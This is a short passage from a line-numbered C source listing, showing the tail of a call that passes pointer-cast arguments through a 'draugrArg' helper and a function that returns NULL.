(PVOID)draugrArg(10), (PVOID)draugrArg(11)); 447 | } 448 | 449 | return (ULONG_PTR)(NULL); 450 | } 451 | --------------------------------------------------------------------------------